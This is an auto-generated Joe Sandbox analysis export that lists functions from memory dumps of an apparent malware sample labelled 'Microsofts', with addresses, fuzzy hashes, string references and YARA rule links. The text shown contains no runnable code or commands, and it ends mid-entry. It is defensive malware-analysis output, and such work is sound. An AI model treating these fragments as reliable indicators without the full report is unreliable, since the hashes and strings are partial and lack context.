Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: 0o?q$Lj?q$Lj?q$PH\r$PH\r
API String ID: 0-3671958786
Opcode ID: bbdf340af475663d042942f379539b3933e8e87e7d37c702486846e9e69f99e6
Instruction ID: 6cb457f54fd8e612733afc0f03a70888b7cfd0c088f2f7656fa413bb3f8e08b3
Opcode Fuzzy Hash: bbdf340af475663d042942f379539b3933e8e87e7d37c702486846e9e69f99e6
Instruction Fuzzy Hash: 4E51D7B4E00208DFDB48DFAAD584A9DBBF2BF89310F109429E815BB364DB70A945CF50

Function 00EAAB6A Relevance: 5.2, Strings: 4, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H`r, xrefs: 00EAADD3
H`r, xrefs: 00EAAE06
, xrefs: 00EAAC65
H`r, xrefs: 00EAAE39

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: $H`r$H`r$H`r
API String ID: 0-3208256225
Opcode ID: d64a981a825e27f7941761af8e2ab92a726865dfb1c3927775f523ff1fadddd3
Instruction ID: 6a5fa44d282134e2c713efe7081079734f3c5f5128ede3e7a7ebaf877af3f4f5
Opcode Fuzzy Hash: d64a981a825e27f7941761af8e2ab92a726865dfb1c3927775f523ff1fadddd3
Instruction Fuzzy Hash: F181B7347003049BEF296B74945876E7693AFCA335F28462AF9169B3D0CF359D41C792

Function 00EA19B8 Relevance: 5.2, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X`r, xrefs: 00EA1AB0
X`r, xrefs: 00EA1B7C
X`r, xrefs: 00EA1B2F
X`r, xrefs: 00EA1A76

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: X`r$X`r$X`r$X`r
API String ID: 0-3954137160
Opcode ID: 76a2b710fb98bb842b49dba86c2d15dff1e7cde15dc546bc49b322e51ac30f38
Instruction ID: f6b2c3d660048435c94a4fc6f746bc85ff7f7619230145e9c1d5efdb9ba77501
Opcode Fuzzy Hash: 76a2b710fb98bb842b49dba86c2d15dff1e7cde15dc546bc49b322e51ac30f38
Instruction Fuzzy Hash: B671A331E013298FDF64DFB8C8443EEBBB6AF89300F1481A6C519B7251EB709D458B91

Function 00EA2C62 Relevance: 2.6, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X`r, xrefs: 00EA2CBE
X`r, xrefs: 00EA2C95

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: X`r$X`r
API String ID: 0-1096494241
Opcode ID: a2fa712df44aab42f3bc77b0a4f24186803d556f0acfebf6f3bb6a7dedc638ea
Instruction ID: 4e30a4146b03e6373bccc30db3b503c50424ea507129a2cd10f483402a98f98a
Opcode Fuzzy Hash: a2fa712df44aab42f3bc77b0a4f24186803d556f0acfebf6f3bb6a7dedc638ea
Instruction Fuzzy Hash: 13412731B043204BDF184A7D89553BEAAF6BFDA314F28503EDA02FB392DBA49C059751

Function 00EAB469 Relevance: 2.6, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJar, xrefs: 00EAB57A
8ar, xrefs: 00EAB541

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: 8ar$TJar
API String ID: 0-3360347397
Opcode ID: c48e64b99c65dd90b7c56b116c64530d4b7fbb293bcceb9a324b03c0cd1012c6
Instruction ID: 4ea8cf7f6d0d516b30f097576c575c5204b5f4fd10a75b380c723da7bf23aa1a
Opcode Fuzzy Hash: c48e64b99c65dd90b7c56b116c64530d4b7fbb293bcceb9a324b03c0cd1012c6
Instruction Fuzzy Hash: 5B313731B002058FDB44EBA8C591EDDBBF2AF8D324F195591E501AF3A6DB30EC418B91

Function 00EAB49D Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJar, xrefs: 00EAB57A
8ar, xrefs: 00EAB541

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: 8ar$TJar
API String ID: 0-3360347397
Opcode ID: ed8c2bd182a41f704fda19afcb41bb7e83bc6739d50a4b0bc5e9dc7d72d06bd8
Instruction ID: 844f819cf5f3be991e9e6bf41b9feb489e85d8e12dd9ac59d603baa74b566d84
Opcode Fuzzy Hash: ed8c2bd182a41f704fda19afcb41bb7e83bc6739d50a4b0bc5e9dc7d72d06bd8
Instruction Fuzzy Hash: 77315631B002058FDB04EBA8C581EDDBBB2AF8D324F195591E501AF3A6DA70EC418B91

Function 05210DCC Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05210F0E

Memory Dump Source

Source File: 00000006.00000002.24195607328.0000000005210000.00000040.00000800.00020000.00000000.sdmp, Offset: 05210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5210000_Microsofts.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 05bb6a47731d75a597a6fb0ca5c4e9a0931de2be6751e085a4089eb7ceb21b10
Instruction ID: a18b61cf84992387437a65af022cdee19b3fe1f897723c7b853199a4c8eb52b5
Opcode Fuzzy Hash: 05bb6a47731d75a597a6fb0ca5c4e9a0931de2be6751e085a4089eb7ceb21b10
Instruction Fuzzy Hash: 1E119D74E102098FDB04CBA9C484EAEBBF6FF98304F148165EC04A7205D7709885CB58

Function 00EA0B20 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

LR\r, xrefs: 00EA0B62

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: LR\r
API String ID: 0-935051279
Opcode ID: ffa7e1e9c26b093ad3145a12297567ff106ebb778cdd58be43e8760200b3127c
Instruction ID: d74019bb9c24960b25b7592547ce017dcd029a6ee34d17a4abb9f9cc47087cf4
Opcode Fuzzy Hash: ffa7e1e9c26b093ad3145a12297567ff106ebb778cdd58be43e8760200b3127c
Instruction Fuzzy Hash: 15A1D875A10249CFCB45EFA9E9A5A9DBBB1FB88305F104929D405EB368DB306D06CF81

Function 00EA0B30 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

LR\r, xrefs: 00EA0B62

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: LR\r
API String ID: 0-935051279
Opcode ID: 26c10a700c539027d452cac712506a51b8331bbf08443bc274373128095b2980
Instruction ID: 5965abc4b4a8852f0a0ba0dd17adf2ad52746da655e4d10f57174170c36a524b
Opcode Fuzzy Hash: 26c10a700c539027d452cac712506a51b8331bbf08443bc274373128095b2980
Instruction Fuzzy Hash: 98A1B875A10349CFCB45EFA9E995A9DBBB1FB88305F104929E405EB368DB306D06CF81

Function 00EAB898 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

H`r, xrefs: 00EAB92D

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: H`r
API String ID: 0-2871800212
Opcode ID: 1d5a0bc306f9ad70484f1ec265fc3a728e58700169604975160343c7721c7fc9
Instruction ID: e9eb49fa412253376556e3aaf2b44f286d40ed2c8e7e747f14b8ec2a2e91eaca
Opcode Fuzzy Hash: 1d5a0bc306f9ad70484f1ec265fc3a728e58700169604975160343c7721c7fc9
Instruction Fuzzy Hash: 20319331B002089FDB08EB78D855AAF7BEAEF89301F144579E509DB391DF359D128790

Function 00EAB9D9 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

H`r, xrefs: 00EABA36

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID: H`r
API String ID: 0-2871800212
Opcode ID: 851e442d0d6b2165feec747c8f75606a48ec4ca198beb72ee7cbe05ad004df7e
Instruction ID: 4e55f52255ae8e8c63e74eddd57be89ba5c6f36cbcb079b301dd7827cb3e193f
Opcode Fuzzy Hash: 851e442d0d6b2165feec747c8f75606a48ec4ca198beb72ee7cbe05ad004df7e
Instruction Fuzzy Hash: BF21D3316002459FDB08EF78C991B6E7BA6FF8A310F258169E5069B395DF31AE11CB90

Function 00EABB6F Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6f5a2075bc7fe5737a34cf4cb047911ab08ebd707f588e6ddf6a93f073e0445
Instruction ID: 817aec8b99bdd532c47e98e1de6749af62f69f82aaaa6b139d900667116d524c
Opcode Fuzzy Hash: a6f5a2075bc7fe5737a34cf4cb047911ab08ebd707f588e6ddf6a93f073e0445
Instruction Fuzzy Hash: 3751F672B003059FCB149A69D855AABFBE9EBCD324F14853AE518DB351DB35E80187A0

Function 00EA315D Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab983deb8fbeb10e06ec2aa8c3740d523089a0130acc3211406f15c0ddf1061
Instruction ID: 7eaab76a9b37ec0800df92691149d00040cfefeda634a8f3025b44c8a63c9691
Opcode Fuzzy Hash: dab983deb8fbeb10e06ec2aa8c3740d523089a0130acc3211406f15c0ddf1061
Instruction Fuzzy Hash: 9941A174E012189FCB48DFAAD884A9DBBF2BF8A300F249569E405BB364DB346845CF14

Function 00EA3168 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca61e4fe6fe2429e2aceb74299b663107dd078944f7bb484684c1102f9890412
Instruction ID: 5f140447f71c07cf29bb9bb9c4a6bde510c77c3e56ee8d53af017091041ad54d
Opcode Fuzzy Hash: ca61e4fe6fe2429e2aceb74299b663107dd078944f7bb484684c1102f9890412
Instruction Fuzzy Hash: 85418274E01218DFDB48DFAAD884A9DBBF2BF8A300F249569E405BB364DB346945CF14

Function 00EA9249 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1da02384cb1fb829805c0f365c568efdef4fdfa19d7b3f4ca287e4b85fedfe3
Instruction ID: 9f3f7f951f439ea66f24673291da5a4c5fdcae8ed9edaf01a41eb39d0be73418
Opcode Fuzzy Hash: f1da02384cb1fb829805c0f365c568efdef4fdfa19d7b3f4ca287e4b85fedfe3
Instruction Fuzzy Hash: AB31CF39CE270B9FD2002B35A5AD37BBBF4FF2F32B7046E01E50A905148B3099A4CA14

Function 00E5D005 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24167587675.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e5d000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b48185011e30bab4c6a8fbf037af71f9e7b12bc30ef219ee573a5543b31df1
Instruction ID: da5aae69662dc1356cb9b906f75fea623a2dd72e0633609824f94cd2e3883a45
Opcode Fuzzy Hash: e5b48185011e30bab4c6a8fbf037af71f9e7b12bc30ef219ee573a5543b31df1
Instruction Fuzzy Hash: 09315C7550D3C49FCB13CB24D994711BF71AB46314F29C5EBD8898F2A7C23A981ACB62

Function 00EA18C8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dc8089b2eed15f8e4cdc77d65a3e6e8b53c18075534e065fe2ca321a7a47092
Instruction ID: 0c94d3dfb75662ab8e015a35c006acefaab036f23384e53cb1b970b18cf13428
Opcode Fuzzy Hash: 8dc8089b2eed15f8e4cdc77d65a3e6e8b53c18075534e065fe2ca321a7a47092
Instruction Fuzzy Hash: B2218135A002049FCF54DB28C4509FF3BA9EBDE368F188459D859AB254EB30EE05CBD2

Function 00EA4729 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 335e41bb2804e5f143094d0eba2ac35802d0cf7793a705b1281ac0a3dad271fd
Instruction ID: 4d96afdb051b5d1cc8b9c313029cb14b69cb57f584b23f100cfcdbc936b08104
Opcode Fuzzy Hash: 335e41bb2804e5f143094d0eba2ac35802d0cf7793a705b1281ac0a3dad271fd
Instruction Fuzzy Hash: A4212431D11659DECB00EFE8D8446ECFBB4FF4A304F509626E50477294EB706A5ACB91

Function 00E5D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24167587675.0000000000E5D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E5D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e5d000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e568c1e7e4bf29388acc8101977a28acbc56062c1c54e8f96d10511346edae9
Instruction ID: 5dbed296293c252afa74d9505253ba2a40fdf51ed29e1fe1378bfa50fc5fc32b
Opcode Fuzzy Hash: 9e568c1e7e4bf29388acc8101977a28acbc56062c1c54e8f96d10511346edae9
Instruction Fuzzy Hash: C021D671508340DFDB20DF14D9C0B26BB66EB84314F24C96ADC495B296C77AD84ACA62

Function 00EAAE98 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c52f1d850c80192dc921a4faab2603ea0f37722f3417f75db6936177d5e9c7
Instruction ID: 8b80e716337db7ed719edb16e046c056ef2c7a63eb136c7457999d8befca7a91
Opcode Fuzzy Hash: 57c52f1d850c80192dc921a4faab2603ea0f37722f3417f75db6936177d5e9c7
Instruction Fuzzy Hash: 0611E4757053148FD7199B78E854A2A77E5EF8E60031605ABE505DB391EF25EC00CBA2

Function 00EA0EC8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcd02e84dbe77cf3264a76ac4c6184d876961959ac760c445c021ae2a900407
Instruction ID: 2072ba4c620950b7181fbbd5227e70d567692fd93ddc2a2ebccfe5decefd9a39
Opcode Fuzzy Hash: 6bcd02e84dbe77cf3264a76ac4c6184d876961959ac760c445c021ae2a900407
Instruction Fuzzy Hash: A1219074E002089FDB05EFB9D4513AEBBB2EF89309F1084AAD815BB394DB745945CF41

Function 00EAB748 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782b9791cb5d5318ed10e3ac4642541cf712817cb7887b49d6789c1acf6ac031
Instruction ID: ebb4bcd766216e05825c3dc850fe51e8614379208927a9642d17bcbe1bca3165
Opcode Fuzzy Hash: 782b9791cb5d5318ed10e3ac4642541cf712817cb7887b49d6789c1acf6ac031
Instruction Fuzzy Hash: 7B118C76300200CFD714DB69D944E66B7E6EFCA725B2085AAF50A8F361CBB1EC40CB50

Function 00EA17B8 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9cf2a004831e94ed7f43ea5843d1a7707eac8f56f4b3f3485e76c3db52a1fe
Instruction ID: df93fb17dcbc6df7955e0dc97157163d95b471c68c78cc1afac584394f9ea38d
Opcode Fuzzy Hash: 6a9cf2a004831e94ed7f43ea5843d1a7707eac8f56f4b3f3485e76c3db52a1fe
Instruction Fuzzy Hash: 43213470C0420A8FCB04DFA8D9445EEBFF0EF4A304F0451AAD449BB264EB355A84CFA1

Function 00EABD08 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 618ffc4146ec310c561c42f246cdff44bec678ea50044bb8c70fadc9adf20681
Instruction ID: f5c4a56014af6af306a9b62c188f58d8ab5dd03db9694d44bbecebc30105a8e4
Opcode Fuzzy Hash: 618ffc4146ec310c561c42f246cdff44bec678ea50044bb8c70fadc9adf20681
Instruction Fuzzy Hash: 5D11A331E003098BCB24EFB8848069EBBF2AF8D315B141539D805FB202DB31AC01C7A1

Function 00EA4851 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e18c3b5da1bb4529d97f3a1a0dd280efd4bba596571e562fca2068a68919d16
Instruction ID: 172bf06f38084ce053f08fa8452eaceaf20553f8a7f681cde0b41b15dc2fe6c4
Opcode Fuzzy Hash: 8e18c3b5da1bb4529d97f3a1a0dd280efd4bba596571e562fca2068a68919d16
Instruction Fuzzy Hash: 0E01D272B043500FDB189B79985453E7BDA9ECA2683144479D404DB398ED68DC018792

Function 00EAAE88 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775843d48023f20e121b249232b4f9531d51c1673504f3b3c48d8ef11ce793d9
Instruction ID: 49be489a8ab21c0d67aed0f1de78c0830c63b8a08f1e912676080b3bcdf862ee
Opcode Fuzzy Hash: 775843d48023f20e121b249232b4f9531d51c1673504f3b3c48d8ef11ce793d9
Instruction Fuzzy Hash: 0B01B1B67013109FD7188F68E88496AB7A8FB8D714716567AE105DB310EB31FD40CBA1

Function 00EA4860 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a6f01a4b7900887504198a10dc18cee16f79591f0c328c3997fe704225db51
Instruction ID: 6d04f736915cdafed55bcf52eb12e4664bc40655f1585cdace74e7786d2b6620
Opcode Fuzzy Hash: 22a6f01a4b7900887504198a10dc18cee16f79591f0c328c3997fe704225db51
Instruction Fuzzy Hash: AF01F272B002100FD728AB7D980453E7ADBAFC83683144039E905DB398FEB8DC014B92

Function 00EABAE9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9baf5163d0932288b5773645611810a6e09a12e16341d2e3317817825acca1fc
Instruction ID: 1870f6951c01bc5fb004631286cb7c5b4520e71de8e35084959a2b388e637dd2
Opcode Fuzzy Hash: 9baf5163d0932288b5773645611810a6e09a12e16341d2e3317817825acca1fc
Instruction Fuzzy Hash: 5901D6367003049BCB156778D859B6B3FD6EBC9625F140526E60AC7385DF35DD11C790

Function 00EAA508 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2604c40c1d7f008e0e45030eb36ef43ffc6d03088a1c7310df0b0bf93cae43b2
Instruction ID: 42d7655ead27a88041fe56e46aa7803e6c3d7eba835afb79736c852f2e979812
Opcode Fuzzy Hash: 2604c40c1d7f008e0e45030eb36ef43ffc6d03088a1c7310df0b0bf93cae43b2
Instruction Fuzzy Hash: 06018075E002099FDF14AF69D854AAF7BB5EF88310B00453AEE1597240DB309D10CBE1

Function 00EAA4F9 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb5adeb346e2e30e9f18ef36487090796238f520bb3e9a674db1486bce737130
Instruction ID: 048f7d76b5a8e2b6529476afc5f0eb82fbb2d9bd5a492c9b0c82825951993730
Opcode Fuzzy Hash: bb5adeb346e2e30e9f18ef36487090796238f520bb3e9a674db1486bce737130
Instruction Fuzzy Hash: 61015E75E00259AFCB15DF69D8546AEBFB5EB88314B04453AEA15D3241D7308D20DB92

Function 00EABDA0 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e82e465ecd78447d7ac15b84dc1faf6dd0aa5a78d9e77670f5ff80fd0cdb4c
Instruction ID: 1ac1863941f0d474ba950b60d758b3a451305626dc56a6e2d76c4142e0586410
Opcode Fuzzy Hash: d0e82e465ecd78447d7ac15b84dc1faf6dd0aa5a78d9e77670f5ff80fd0cdb4c
Instruction Fuzzy Hash: 99F024327041159BCB159A7AE44069EBBE9DFCA331B04007AF108EF351CF72EC028750

Function 00EAB5EA Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 762d35bd451d11e8af0650e76f4a3de1f153f5835bbaff2e828b2973aecece8b
Instruction ID: 70fda5806dcf5ca51ad2992440880e0efbe7e716486268ffc5eb9006cf058d5a
Opcode Fuzzy Hash: 762d35bd451d11e8af0650e76f4a3de1f153f5835bbaff2e828b2973aecece8b
Instruction Fuzzy Hash: CEF090B2A00208AF8B50DFAAD841ADFBBF5FB8C210B10453AE505E3201E770A9159BE1

Function 00EABA98 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f54e3a1d900acdce34205706f5bf5fe4335b8188c1b1b3ae33d4a074765e7e01
Instruction ID: 0e8f51d87e2e768e6603eab6e0f93568c1b53823954aed6b4e7bdac9db67a819
Opcode Fuzzy Hash: f54e3a1d900acdce34205706f5bf5fe4335b8188c1b1b3ae33d4a074765e7e01
Instruction Fuzzy Hash: D2F03A353002059FC700DF59D484D5ABBEAFF8D7257554169E6098B331CB71AC11CB80

Function 00EA46C8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a8aca28fed6523b16a2afb688d68311f7c322b36beedc32a61d22142880b86
Instruction ID: 245b4eb3c05a578c36a7d2c54757b063a0796463bbf64c3752e42fcbcc14b594
Opcode Fuzzy Hash: 71a8aca28fed6523b16a2afb688d68311f7c322b36beedc32a61d22142880b86
Instruction Fuzzy Hash: 23F0C936026B868FE3192B22ADBC23A7F64EB0B317B442C41E54AA6071DFB51458CF55

Function 00EA46D8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f24e15a16f584a232871496205a66809c91b375dbd465ba0af42e2aacbe5736
Instruction ID: 98a3dce8c171c64ddb072b5a6c4f4a167e2926664fe09346217e2612e15c1fbb
Opcode Fuzzy Hash: 6f24e15a16f584a232871496205a66809c91b375dbd465ba0af42e2aacbe5736
Instruction Fuzzy Hash: ECE0B636021B468FE3182B22BCBD23E7A65FB0B317B802C00E10EB10709FB0104CCE54

Function 00EA1877 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.24169481432.0000000000EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ea0000_Microsofts.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb26711c4fa7b462dd1c9b063b33a6d55fc92405635858e24c95f11878aa9b5
Instruction ID: ca98b5a909ef0865fc3d706ab27091b95879f411cb6993dc392d5b0ffd56646b
